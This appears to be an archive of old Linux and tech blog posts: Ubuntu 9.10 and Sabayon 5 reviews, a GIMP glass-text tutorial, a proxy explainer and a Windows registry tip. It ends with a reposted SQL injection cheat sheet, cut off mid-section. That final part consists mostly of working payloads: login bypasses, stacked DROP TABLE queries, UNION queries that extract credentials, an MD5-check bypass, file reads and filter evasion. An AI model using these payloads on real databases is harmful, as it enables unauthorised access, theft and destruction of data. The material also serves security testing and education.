So, let me start the review with its installation process. While I have been upgrading the distros for the past 4 years, I installed it right from scratch, this time. I think it is a good idea for everyone to do a fresh install with this release to get the full benefits of GRUB 2 and the ext4 filesystem. The Ubuntu installer, called Ubiquity, has always been easy to use and has been getting a little extra polish in every release. In this release, they added a very useful feature for newcomers to Linux in the form of a slide show during the installation process, which tells you the basics of the operating system. The installer also has the ability to set up an encrypted home directory. This is a really useful feature to have, in case your laptop, netbook, etc gets stolen or lost. The installation took me about 20 minutes.

The new Splash Screen from Ubuntu 9.10 Karmic Koala

Boot up

After installation, I rebooted and was welcomed by a beautiful splash screen. Karmic also uses Upstart to handle the boot process. To have a quick bootup, the plan was to start X very early in the bootup process, so that usplash is no longer needed and replace it with xsplash. Although xsplash is present in Koala Karmic, usplash (the white Ubuntu logo on black background) is also available till xsplash is ready to be displayed. Even then, the boot up looks very professional and much better than the one found in earlier versions. Next loads the GDM, which has also been made prettier. It is amazing to see how much progress they have made, in a single cycle, in the boot experience area and definitely makes one have high hopes on the next version. My boot time in Jaunty, from power on to desktop being ready to use, was around 2 minutes and in Karmic it is now about 50% lesser! The plan for a 10 second bootup time in the next Ubuntu 10.04 “Lucid Lynx” version is something I am really excited about.

Desktop showing new design work

GNOME 2.28 Love

Then, the desktop finally loads and the first thing I notice is that a new icon theme being used. They have switched to the humanity icon scheme, which really adds a lot of beauty and elegance. Some minor cosmetic changes like making the icons in the notification area gray tone, like in OSX, do make the OS look pretty. While Mark Shuttleworth had initially announced that the theme would change from brown to something else, it hasn’t happened in this release. A lot of new wallpapers have also been included this time. A particularly interesting one is a set of space wallpapers, which keeps automatically changing every 30 minutes. The wallpapers were selected by holding a competition and selecting the best amongst them. Such efforts certainly help in encouraging a lot more people to get involved.
Let’s look at some of the changes and updates in the applications, starting with the new GNOME 2.28. The latest GNOME release did not bring in too many new features as a lot of developers are in preparation mode for the GNOME 3.x series. So, mainly, there were a lot of cleanups. Yet, a few nice features were added like Totem got the ability to remember the position of video playback, before the application was closed, last time, and resume playback from that position the next time. This is a very useful feature for people like me who view many movies, soaps and videos on their computers. Evince also got the ability to view and edit existing annotations in the PDF documents. However, creating new annotations is scheduled for the next release. GNOME Bluetooth was added to handle bluetooth connections, along with many new features. It now allows the users to use bluetooth headsets very easily and also allows connecting with mobile phones and using it to browse the internet on the computer. GNOME Volume Control also got a lot of nice features added, like per application volume control, ability to control a subwoofer and channel fading. Also, as promised, a preview release of the new GNOME Shell is available for testing and to get a idea of what GNOME 3 will bring.
Empathy has become Ubuntu’s default IM and VOIP client, this cycle onwards, and has also added a lot of polish, along with a lot of new features. It currently supports audio and video chat on Google Talk and Jabber. It might be a little buggy for now, though. It also supports nice chat themes including those available for Adium. Another useful feature is desktop sharing, which worked nicely for me. The messaging indicator (the envelope in the notification area), which was introduced in Jaunty by the Ayatana team has been updated to support many more applications like Kmail, Gwibber, Empathy, etc in this cycle. Users who are not too comfortable with Empathy, can easily go back to Pidgin by installing it.

The Ubuntu Software Center

Ubuntu Software Store

This brings us to the point of the new Ubuntu Software Center. Many people new to Linux often feel that installing software is very difficult and requires a lot of expertise. To solve this problem, Ubuntu has taken inspiration from the Apple Store and Android’s market place, and replaced the old Add/Remove software application with a new Software Center application. It is designed with simplicity in mind and aims to make the process of installing new applications easier and much more fun. Initially, I was somewhat skeptical of how helpful this application is going to be. But after trying it for some time, I realised this is one of the best change in a long time. The version included in this release only has a few basic features. But it will eventually evolve to include social features like a rating system for the software and the ability to install the software installed by your friends,etc. The long term goal of the Software Center is to replace Synaptic Package Manager and Update Manager also. Though this will take a few more releases to actually materialize. A somewhat controversial goal is to allow purchasing of commercial software. While some purists may dislike this idea, it seems to be a natural move to facilitate the gain of a bigger market share for the distribution.
In keeping with the buzz around “cloud computing” Canonical (the company behind Ubuntu) has launched a new Ubuntu One cloud synchronization service. It has some features similar to Dropbox, which is popular amongst a lot of Linux users. The benefit of Ubuntu One is that it is included by default in Ubuntu. This service allows to store and sync files, contacts and Tomboy notes. The information stored can also be accessed via the Ubuntu One website. Though native clients for Windows and Mac OSX will take some more time to develop. There are 2 subscription plans currently available. The free one comes with 2 GB of storage space and the paid plan costs 10 USD per month and offers 50 GB of storage space. Now, again while this represents another revenue channel for Canonical it has brought with it a lot of controversy. As the service is proprietary on the server side, many people felt that naming it Ubuntu One goes against the free ideals of Ubuntu. One thing to note is that the Ubuntu One client is open source and can be easily packaged for other distributions. It is clear that with ideas like this, Canonical is trying real hard to make it’s business profitable and no longer dependent on Mark Shuttleworth’s money.
Another new utility included in this release is the Palimpsest Disk Utility, also known as the GNOME Disk Utility. It allows for some simple disk operations like monitoring of the disks and creation, deletion and management of partitions, etc. In earlier releases, the absence of such a tool was cited as a big inconvenience. The Computer Janitor, which is used to remove unused programs and other cruft, has gained a better interface and some new features. The Network Manager which ships with this release is the latest 0.8 series version. It brings with it a lot of improvements for mobile broadband users and a much better interface. It also allows connecting to mobile phones via bluetooth and using it’s internet connection. Currently only the PAN bluetooth profile is supported. So only the latest mobile phones will work. Work is on to get Bluetooth Dial Up Networking (DUN) support in the next version, so that many more phones can be used.
In this cycle, Ubuntu had many projects to improve usability and user experience like the Papercuts project . A Papercut is defined as a usability bug which is easy to fix. I would say that this project has been pretty successful as it has fixed around 65 of the 100 bugs targeted. The project wasn’t limited to GNOME bugs and included some KDE related bugs as well. The project also helped start discussions on usability problems in some projects. Some of the bugs fixed were as old as 5 years and were a source of a lot of frustration and annoyance. Of course the beauty of free software is that these bug fixes will be available for all the distributions to use.
While most of this article we have talked about the desktop version of Ubuntu, there were many improvements in it’s other derivatives as well. Kubuntu seems to be finally stabilizing with a much improved KDE 4.3. The Ubuntu Netbook Remix has also gained a lot of new features and some fine tuning. It’s selection of default applications has also been changed to better suit netbook users. A Kubuntu Netbook Remix was also released for the first time, which KDE fans are going to love. A version of Ubuntu based on the Moblin stack has also been released.

Final verdict

So, with this version does Ubuntu live up to it’s name of one of the most popular distributions? It certainly does and this version is certainly worth the upgrade for current Ubuntu users, especially those plagued by poor graphics drivers for Intel cards in the Jaunty release. There are 2 things which really excite me with Ubuntu. First is that, after six months when the next Ubuntu version comes out, which will be an LTS, things look really good for Ubuntu. Many computer manufacturers like Dell will use it for their netbooks, laptops and desktops. And when the cheap ARM chips based net books finally come out, Linux will certainly be a very good competitor to the proprietary Operating systems. The second thing is that with this release Canonical has come up with some innovative plans to profit from Ubuntu. If they actually are able to make money off the Linux desktop, it will be nothing short of spectacular!

2010-05-22T03:18:00.000-07:00

Learn Image Manipulation & Create a Glassy Wallpaper on GIMP

Playing with GIMP is never boring, every time you do some experiment you come to know of some cool effect. The best part are the filters, which if applied properly, can produce jaw dropping effects. While experimenting with GIMP I came to know that how easily I could create a glassy text with gimp. Although I am not a image maker, or a GIMP expert, I am trying my best to describe this process. I have broken down this process in eight sections, each one describing how to make each image effect component. So let’s start.

Glass Text

Create a new 1280×1024 image (or your best monitor resolution) with a black background.

Creating the Text layer
Select Text tool, select a big area and type in a text. I have used Bitwise font, downloaded from Internet.
Change the color of text to white {#ffffff}, text size to fit the selection and position to justify.
Then right click the text layer and select merge down. This will remove the text properties and make the text you wrote into just an image. After this you will not be able to alter the text.
Now apply the below filters with appropriate parameters so that the effect looks the best for you and looks good in your display. I have provided the parameters, which I have used, in curly brackets.
- Filters -> distorts -> emboss {Azimuth=236, Elevation=144, Depth=90}
  
  Emboss layer (section)
  
  Emboss layer (full)
- Filters -> Blur -> blur
- Filters -> Edge Detect -> Neon {Radius=4.78, Amount=0.07}
  
  Neon (section)
  
  Neon (full)
- Filters -> Enhance -> Sharpern {Sharpness=50}
- Filters -> Artistic -> Softglow {Glow Radius=50, Brightness=0.85, Sharpness=0.90}
  
  Softglow (full)
- Select the text portion then Layer -> crop to selection
- Color -> Colorify To Alpha -> From:{#000000}
  
  Colorify To Alpha (section)
  
  Colorify To Alpha (full)

Layers

The first step will emboss the text, next we blur the text, this is needed for the next step. When Neon edge detecting the sharp color transitions will get white, in this case the edges would get white. edges of the text will remain. If this layer was not blurred then the neon edge detection would result in jagged edged, and bad looking fonts instead of smooth edges. The Azimuth will control the white lining of the texts when applying Neon edge detection. Here you can do some research to get the white text outline as per your need. Then the layer is sharpened to compensate the blur. The softglow is applied to make a glowing effect of the text, so not apply too much of it, even it will look good when working, at some later time too much soft glow looks very bad. Then we select the text and crop only the text area. Note carefully when embossing, the values are very important which actually set how the text will look. Then apply the colorify to alpha and make the black background to alpha. And that’s it you get the basic glass text.
Name this layer “glass_text”.
Click “New Layer” button in the layer window and floodfill it to black {#000000} , send the new layer to bottom and rename it to “background” , so that we have the glass texts glowing out of the dark.

Glass Text Reflection

Select “glass_text” layer, click the layer duplicate button on the Layer Window, and send this layer just below the “glass_text”. Name this duplicated layer “glass_text_reflection”.
Select Flip Tool from tool box, select Flip Type to “Vertical” from the tool configuration.

Filpped Layer (section)

Flipped Layer (full)
While the “glass_text_reflection” is selected click on that layer, to flip it vertically.
Select Move Tool, and while Shift is pressed drag the flipped layer below the original text
Drag down a guide to make a reflection plane reference and place both the “glass_text” and “glass_text_reflection” equally separated from the guide. Use the arrow keys for fine movements of the layers.
With the Rectangle Selection tool select an area, such that 40 to 50 percent of the lower part of the “glass_text_reflection” layer is inside the selection.

Rectangle Select Layer (full)
Now feather the selection with a good high value of about 200 to 250 pixels. Select -> Feather {200px}
Press Delete button once to feather delete the section, you can try hitting the Delete button twice and see how the effect looks and keep it if you like. Now the reflection will fade outward.

After Deleting the Feathered Selection

Layers

Glass Sparkle

Here we will make the text sparkle in 2 or 3 places of the text. We will draw the sparkles in the brightest edges of the text. We will make a small (1pixel) spot on a transparency so that it is on the glass text font, and then make the spots sparkle.

Create a new Transparency layer, and name it “glass_sparkle”, and bring it at the top.
Select the Pencil Tool.
Select the smallest brush {Circle (01)}
Select the foreground color to White {#ffffff}
Select the “glass_sparkle” layer and click on the points only once where you want the text to sparkle.
Click only a few edges of the text where you want it to sparkle (2 or 3).
Toggle the visibility of the “glass_text” layer to see actually where you have created the white spots.

Pencil Spot (section)
Select The dots individually with the Rectangle Selection tool, and apply Sparkle filter as below to each of the dots individually. For each dot slightly change the parameters so that the three dots create different looking sparkles.

Making Spots Sparkling Individually (full)

My initial setting for First Dot:
Filters -> Light And Shadow -> Sparkle {Luminosity Threshold=0.001, Flare Intensity=0.50, Spike Length=20, Spike Points=4, Spike Angle=15, Spike Density=1.0, Transperency=0.0, Random Hue=0.0, Random Saturation=0.0, Select Natural Color, Uncheck all check boxes}
Changes for Second Dot:

Spike Angle changed to: -1 (Random)
Spike Length changed to: 45

Changes for Third Dot:

Spike Angle changed to: -1 (Random)
Spike Length changed to: 68
Spike Points changed to : 2

After Sparkle (full)

The Effect

Layers

This is a matter of personal taste, so you should keep on researching and make trial and error and see which parameters come with the best. After this, select a rectangular portion of the “glass_sparkle” layer include all the sparkles and crop the layer to the selection. this will keep the sparkle layer compact by only keeping the needed area. Make the “glass_test” layer visible from the Layer window. Put the “glass_sparkle” Layer just below the “glass_text” layer.

Sparkle Reflection

We could have applied the sparkle to the text and then created the reflection of the text along with the sparkles but this reflection is done separately so that it can be removed or modified at any time, and manually adjusted. We will do this just like as the text reflection.

Select the “glass_sparkle” layer, and duplicate the layer from the Layer Window, and name the duplicated layer “glass_sparkle_reflection”, and make sure that it is below both the “glass_text” layers.
Select the Flip Tool select to flip vertically and then click on the “glass_sparkle_reflection” layer.
Now move the flipped layer on the reflected text on the proper positions where the sparkles would appear when reflected. This could be easily done if you add guides to the bottom and left side of the “glass_sparkle” layer and then use them for reference for the “glass_sparkle_reflection” layer. At last remove the guides.

Flipped Sparkle

Layers

Reflection Plane

There is no reference plane line on which the glass text stands on. You only can imagine it, we will now create that plain which will make this picture more complete. The reflection plane will be just between the “glass_text” and “glass_text_reflection” layers. Now add a horizontal guide just between these two layers and create the plain. Create a new transparency layer from the layer window, and name it “reflection_plain”. Place the layer above the “*_reflection” layers. Select this layer and do the following -

Select a large rectangle from just below LFY text in the “glass_text” layer. This should be big enough so that it goes out of the image borders.

Select Large Rectangle
Now feather the selection by 20 pixels. Select -> Feather { Feather=20px}
Select the foreground color as white {#ffffff}.
Select the Blend Tool , and set {Gradient=FG to Transparent, Offset=0.0, Shape=Linear, Repeat=None}

FG to Transparent Gradient Dragging
To make the blend the gradient click just a bit below the top selection line (the top line of the rectangular selection) keep the mouse button pressed, press Ctrl so that the dragging be straight and then drag the mouse down to about half a way of the rectangular selection and release the mouse and Ctrl buttons.
Now set the transparency of this layer so that it looks okay (check “Setting Transparency”).

The length of the FG to transparent blend depends upon look and choice. A very short length leaves the bottom half of the screen dark.

Layers

Setting Transparency

Now for some transparency settings to be done to make the picture better. Set the Opacity levels in the Layer window to each layer as shown below.

glass_text -> 90%
glass_text_reflection -> 70%
glass_text_sparkle -> 50%
glass_text_sparkle_reflection -> 15%
reflection_plain -> 45%

The sparkle and its reflection’s transparency needs to be adjusted upon taste. Also looks different in different displays and same display different settings. It’s good to keep it mild. Also the major layer is the “reflection_plain” do not set it too bright or it would look bad, its better to keep all light.

After Opacity Adjustments (without “reflection_plain” layer)

After Opacity Adjustments (with “reflection_plain” layer)

Some Effects

Now when the text logo is complete we can add some other effects. I have some ideas about these.

Use the “Tube Red” Gradient make the blend mode to radial and blend in a separate layer. and then feather delete needed partition to only keep a halo. Then you can use Color -> Colorify to color it. (I used #006cff for halo).
For the green halo of the “i”, select the “Flare Radial 102” Gradient , make a new transparent layer and then make a glow spot on the i. Then colorify it to any color (i used #33ff33).
And make reflections of both of them, as done with the “glass_text” and “glass_text_sparkle” layers. There is another good idea to color only one letter to stick it out of the others etc.

Finally, we have finished the picture. My friends complain that this is black and white and they want more colors, but this is the way I like these types of logos with all black and white with a touch of color. There are a lot more to add in this logo like a spot light and shadows, which can be easily done by selecting feathered ellipses and flood filling with white or black. The thing to be noted is that the font selection is very important not all fonts make the same smooth edges. I have used Bitwise font for the text.
Here are a few wallpapers that I have created, using similar styles.

Basic Picture

Effect One

Effect Two

Wallpaper created for my friend's CounterStrike Clan

A Wallpaper for my desktop

2010-05-22T03:05:00.000-07:00

Experiencing Sabayon 5

Sabayon’s strength has always been to showcase the power of FOSS on the desktop. Once upon a time, it used to come preinstalled with Linux-compatible games. But the current releases have done away with the idea of showcasing the games factor and concentrate on giving an out-of-the box desktop experience.

Sabayon 5 (or Five oh!, as the project team likes to call it) came out on October 2, 2009. As has been the norm since the last couple of releases, it’s been divided into a KDE and GNOME live DVD. The last version LFY had bundled was version Four oh! (we skipped 4.1 and 4.2). It was a single Live DVD that contained both GNOME and KDE. So what our CD team has done this time is combine the two separate ISOs into a single live multi-boot DVD. The downside is, you’ll only get either of the two desktops, at a time.
The boot screen of the DVD gives you several options to boot the following: GNOME, KDE, a media centre desktop, UMPC, etc. I’ve only tried the first two.
Depending on your desktop of choice, you’ll need to select one and proceed. The boot splash theme is, as always, black with a few coloured stripes with the Sabayon branding in the centre—not that great, but pretty smart and professional-looking, nonetheless. Well, the same image is also the default wallpaper in both GNOME and KDE. Coming back to the boot process, the live distro boot speed is comparable to other popular distros, and midway through the boot process, Sabayon starts playing a song that has something to do with “the rock and roll hall of fame.”
Note: On my assembled AMD/NVIDIA system, without manual intervention, Sabayon booted to a 1024×768 px display—although it had detected and loaded the correct NVIDIA drivers. The easiest way to fix this is while you’re on the boot screen – at the point when you select between the different boot options, hit F4 and select the display resolution, there and then. On my Intel-based wide-screen laptop (which uses a resolution of 1200×800 pixels), things worked all right without any manual intervention.

KDExperience

Sabayon comes with a custom themed version of KDE 4.3.1 (v4.3.2 is not available in the software repository yet). Instead of the stock Air theme introduced in KDE 4.3, Sabayon uses Elegance—a dark theme that gels well with the overall Sabayon 5 look and feel. And unlike other distros, a number of other desktop themes are preinstalled to let you customise the desktop the way you want without requiring to download additional themes. Additionally, it comes with a decent collection of wallpapers too, and Kwin effects work out-of-the-box if you have a capable graphics card.

Figure 1: KDE Live desktop

As you can see in Figure 1, the resolution of panel is awkwardly set at a width of 1024px, leaving some blank space on both sides of a screen with a resolution of 1280×1024px (or, any resolution where the screen width is more than 1024px).
Well, many not-so-mainstream distros have a fetish for this sort of a Mac OS X-ish panel setting, which sort of seems odd considering the fact that the rest of the screen on the left and right side of panel goes waste. Anyway, we all know how to set this straight, don’t we? Strangely, essential shortcuts like ‘Show Desktop’ and ‘Battery Indicator’ (for laptop users) are missing from the panel. Again, we know how to take care of this.
While the stock KDE only has ‘System Settings’, a home directory shortcut for Dolphin and the Konqueror Web browser as our default ‘favourites’ in the Kickoff application launcher, Sabayon has added more natural fits for our favourites here (Firefox, Kopete, KTorrent, Konversation IRC client, Amarok, VLC Player, OOo Writer and Calc). However, I believe a home directory shortcut would have been a better selection instead of an IRC client; besides, ‘System Settings’ is also an essential app for those who like to tinker with their system frequently.

Figure 2: Default Kickoff favourites

The default installation comes with lots of handy applications for most desktop requirements, but some of the essential apps like Digikam (digital camera tool) and the GIMP are missing. As for an image viewer/manager, Gwenview is also missing. So accessing images means opening them in the Okular document viewer. Of course, these can be had from the official software repository. In fact, although it comes with the Firefox 3.5 as the default browser, the repo also offers Chromium (open source Google Chrome) as an alternative.
After using Chromium for a week, I found it to be pretty stable. I’ll definitely recommend it over FF simply because of the well-thought-out UI which gives you much more screen space to view Web pages, compared to any other browser, besides the ability to run multiple incognito windows (private browsing sessions). Coming back to FF (and even in Chromium), one good thing is that mime types are properly set. So you’ll have no problem in directly opening e-mail attachments, or for that matter, when you download anything from the Web, straight inside the required application.
By the way, wireless connection on my Intel Wi-Fi based laptop worked out-of-the-box. What I also noticed is the NetworkManager system tray widget has been cleaned up a lot. I don’t remember seeing this polish when KDE 4.3 first came out. What struck me as surprising was the inclusion of the Wicd network manager—which is basically redundant!
Sabayon comes with most of the multimedia codes preinstalled. So whether you throw DVD videos at it or DivX files, VLC should be able to take care of it all. Amarok, on the other hand, takes care of your MP3 music collection. The version is 1.1.80 (2.2 beta)—the final 2.2 version is yet to be made available in the repo. Note that although this version reintroduces an equaliser, yet it’s greyed out in Sabayon. Besides these two power apps, you also have the minimalist Dragon Player and the XBMC media centre application.
The version of OpenOffice.org is 3.1. It comes with an integrated Oxygen icon theme by default, which means better KDE integration because the icons don’t look out of place in KDE4 any more. However, the KDE4 integration is nowhere near complete—the Save as/Open file dialogue boxes are still that of the stock OOo, instead of being KDE4 based. Apart from this, English spelling packs are missing. Another thing to note here is that font rendering inside OOo and Firefox are not anti-aliased out-of-the-box—which makes them look a bit crooked.

2010-04-03T04:24:00.001-07:00

Proxies

What is a Proxy Server?
A proxy server is a kind of buffer between your computer and the Internet resources you are accessing. The data you request come to the proxy first, and only then it transmits the data to you. I know many are looking for IP Maskers or Scramblers, but honestly, it aint real easy for the simple fact that any website that you visit needs your IP to send the info packets too. If its scrambled, you will get alot of errors and crazy redirects :P My solution? Read on........... for a good list of Proxy servers try here>> http://www.multiproxy.org/

Why do I need to use proxy servers?
Transfer speed improvement. Proxy servers accumulate and save files that are most often requested by thousands of Internet users in a special database, called “cache”. Therefore, proxy servers are able to increase the speed of your connection to the Internet. The cache of a proxy server may already contain information you need by the time of your request, making it possible for the proxy to deliver it immediately.

Security and privacy. Anonymous proxy servers that hide your IP address thereby saving you from vulnerabilities concerned with it.
Sometimes you may encounter problems while accessing to web server when server administrator restricted access from your IP or even from wide IP range (for example restricting access from certain countries or geographical regions). So you try to access those pages using an anonymous proxy server.

What is a public proxy server?
It is a proxy server which is free and open for everybody on the Internet. Unfortunately most of them are not anonymous.
Free service trying to provide list of public HTTP proxy servers. Usually provide small list of proxies with low percent of functioning servers due to hosting restrictions on CPU time (they simply can't allow themselves to check many proxies every second especially in parallel).

The Solution?
When using an anonymous proxy server you don’t give a anybody chance to find out your IP address to use it in their own interests. ;) If there is a need to make an (inner) proxy connect to the outside world via another (outer) proxy server, you can use the same environment variables as are used to redirect clients to the proxy to make inner proxy use the outer one:
http_proxy
ftp_proxy
gopher_proxy
wais_proxy
E.g. your (inner) proxy server's startup script could look like this:
#!/bin/sh
http_proxy=http://outer.proxy.server:8082/
export http_proxy
/usr/etc/httpd -r /etc/inner-proxy.conf -p 8081

This is a little ugly, so there are also the following directives in the configuration file:
http_proxy http://outer.proxy.server/
ftp_proxy http://outer.proxy.server/
gopher_proxy http://outer.proxy.server/
wais_proxy http://outer.proxy.server/

2010-04-03T04:19:00.001-07:00

Remove outdated DLL files from your system

When uninstalling a program you are sometimes asked whether a
certain DLL file can be deleted. Whether this DLL file is still needed, check with a look in the registry.

* Start Registry Editor from Start - Run ... " (WIN + ), followed by the command regedit. Then click "OK" or press the button .

* Navigate to the key

* "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ SharedDLLs".

* In the right pane you will see the DLL files. Look in the column "value" of the digit in brackets. This value indicates, as many of these DLL files are required.

* If the DLL has the value "0", you can do so in Windows Explorer into the trash.

* Exit the Registry Editor by clicking the Close button.

2010-04-03T04:17:00.001-07:00

About SQL Injection Cheat Sheet

Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.

M :	MySQL
S :	SQL Server
P :	PostgreSQL
O :	Oracle
+ :	Possibly all other databases

Examples;

(MS) means : MySQL and SQL Server etc.
(M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

-- (SM)
DROP sampletable;--
# (M)
DROP sampletable;#

Line Comments Sample SQL Injection Attacks

Username: admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

/*Comment Here*/ (SM)

DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M)
This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples

ID: 10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02

MySQL Version Detection Sample Attacks

ID: /*!32302 10*/
ID: 10
You will get the same response if MySQL version is higher than 3.23.02
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

; (S)
SELECT * FROM members; DROP members--

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

	SQL Server	MySQL	PostgreSQL	ORACLE	MS Access
ASP
ASP.NET
PHP
Java

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples

ID: 10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')

SQL Server If Statement

IF condition true-part ELSE false-part (S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'

If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

0xHEXNUMBER (SM)
You can write hex like these;

SELECT CHAR(0x66) (S)
SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

+ (S)
SELECT login + '-' + password FROM members
|| (*MO)
SELECT login || '-' || password FROM members

*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.

CONCAT(str1, str2, str3, ...) (M)
Concatenate supplied strings.
SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

0x457578 (M) - Hex Representation of string
SELECT 0x457578
This will be selected as string in MySQL.

In MySQL easy way to generate hex representations of strings use this;
SELECT CONCAT('0x',HEX('c:\\boot.ini'))
Using CONCAT() in MySQL
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
This will return ‘KLM’.
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
This will return ‘KLM’.

Hex based SQL Injection Samples

SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
This will show the content of c:\boot.ini

String Modification & Related

ASCII() (SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

SELECT ASCII('a')
CHAR() (SM)
Convert an integer of ASCII.

SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

SQL Server (S)
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
MySQL (M)
Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
....

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

ORDER BY 1--
ORDER BY 2--
ORDER BY N-- so on
Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.

Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

' union select sum(columntofind) from users-- (S)
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

If you are not getting error it means column is numeric.
Also you can use CAST() or CONVERT()

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.
11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...

Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

